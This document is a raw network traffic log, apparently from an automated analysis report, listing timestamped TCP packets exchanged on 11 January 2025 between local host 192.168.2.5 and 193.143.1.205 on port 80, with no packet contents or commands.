Jan 11, 2025 06:04:48.643945932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.643959045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.643980026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.643996954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.646090031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.649652958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.649672031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.649686098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.649722099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.651110888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.664963961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.665153027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.665172100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.665184975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.665204048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.665206909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.665216923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.665230036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.665236950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.665245056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.665290117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.665324926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.665337086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.665349960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.665373087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.668728113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.696894884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.696909904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.697014093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.729233027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.729253054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.729265928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.729279041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.729293108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.729305029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.729338884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.729351997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.729362011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.729399920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.729423046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.729449987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.729460955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.729518890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.729603052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.729614973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.729640961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.729649067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.729654074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.729665995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.729677916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.729707956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.761277914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761298895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761311054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761323929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761337042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761440039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761451006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761470079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761481047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761493921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761507034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761559963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761570930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761584044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761687994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.761750937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761768103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761780024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761791945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761804104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761815071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.761841059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.761965036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761977911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.761989117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762020111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.762025118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762029886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.762037992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762048960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762068987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.762211084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762222052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762233973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762248039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762263060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.762296915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.762480021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762491941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762504101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762515068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762527943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762538910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762551069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762564898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762577057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762588024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762599945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762612104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762752056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.762938023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762948990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762959957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.762984037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.763004065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.763009071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.763015985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.763029099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.763051033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.763149977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.763160944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.763173103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.763184071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.763185978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.763210058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.763216019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.763227940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.763259888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.766558886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.766571999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.766592979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.766606092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.766618013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.766751051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.766769886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.766782999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.766801119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.766813040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.766824007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.766836882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.766849041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.766861916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.766941071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.767177105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767189980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767200947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767214060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767222881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.767225981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767236948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767236948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.767256021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767267942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767281055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767347097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.767347097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.767347097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.767455101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767503977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767517090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767539024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.767684937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767697096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767709017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767715931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767726898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767739058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767750978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767782927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767796040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767812014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767822981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767834902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767846107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767858028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767869949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.767883062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.768045902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.771213055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.775130987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.819068909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819092035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819103003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819113970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819144011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819163084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819175005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819204092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.819231987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819243908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819256067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819269896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.819294930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.819331884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819344044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819355011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819367886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819391012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.819417000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.819443941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819458008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819473982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819479942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819484949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.819492102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819515944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819530010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819535017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.819540024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.819576025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.819576025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.851259947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851300955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851322889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851336002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851349115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851409912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.851480961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851492882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851500988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851509094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851515055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851526022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851555109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.851587057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.851596117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851608038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851620913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851629972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.851639986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851653099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851655960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.851665020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851684093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851701975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.851722956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.851769924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851782084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851794004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851814032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.851835966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851846933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851857901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851870060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851875067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.851882935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851890087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.851924896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851929903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.851938963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851968050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851979017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.851979971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.851995945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852006912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852016926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.852030039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852040052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.852113962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852125883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852138996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852149963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.852154970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852185965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.852231026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852243900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852256060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852264881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.852267981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852283001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852294922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.852323055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.852402925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852416039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852428913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852440119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852451086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852463007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852471113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.852487087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.852515936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.852536917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852555990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852567911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852579117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852585077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.852591991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852641106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.852660894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852673054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852684975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852695942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852696896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.852708101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852716923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.852720976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852762938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.852777004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852788925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852801085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852813005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852814913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.852826118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852835894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852859974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.852871895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.852878094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852889061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852901936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852909088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.852936983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.852946043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852956057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852967978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852981091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.852998018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.853020906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.853055954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.853066921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.853079081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.853091002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.853094101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.853104115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.853138924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.853221893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.853234053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.853245974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.853259087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.853260040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.853270054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.853279114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.853281975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.853296041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.853311062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.853326082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.856415033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.884311914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.884341002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.884352922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.884423971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.884437084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.884449005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.884460926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.884474039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.884699106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.908852100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.908893108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.908904076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.908926964 CET	80	49704	193.143.1.205	192.168.2.5
